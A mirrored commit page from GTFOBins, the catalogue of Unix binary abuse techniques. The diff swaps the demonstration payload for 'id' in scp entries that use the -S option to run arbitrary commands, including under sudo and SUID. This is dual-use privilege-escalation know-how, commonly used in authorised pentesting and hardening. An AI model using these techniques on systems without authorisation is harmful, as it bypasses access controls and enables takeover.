mirror of
https://github.com/GTFOBins/GTFOBins.github.io.git
synced 2024-11-08 07:49:17 +01:00
Use the id command for non-interactive examples
This commit is contained in:
parent
0047d8bfb7
commit
2d3ebbbb05
@ -3,21 +3,21 @@ functions:
|
||||
exec-non-interactive:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
CMD="touch /tmp/unrestricted"
|
||||
CMD="id"
|
||||
echo "$CMD" > "$TF"
|
||||
chmod +x "$TF"
|
||||
scp -S $TF x y:
|
||||
sudo-enabled:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
CMD="touch /tmp/unrestricted"
|
||||
CMD="id"
|
||||
echo "$CMD" > "$TF"
|
||||
chmod +x "$TF"
|
||||
sudo scp -S $TF x y:
|
||||
suid-limited:
|
||||
- code: |
|
||||
TF=$(mktemp)
|
||||
CMD="touch /tmp/unrestricted"
|
||||
CMD="id"
|
||||
echo "$CMD" > "$TF"
|
||||
chmod +x "$TF"
|
||||
./scp -S $TF a b:
|
||||
|
Loading…
Reference in New Issue
Block a user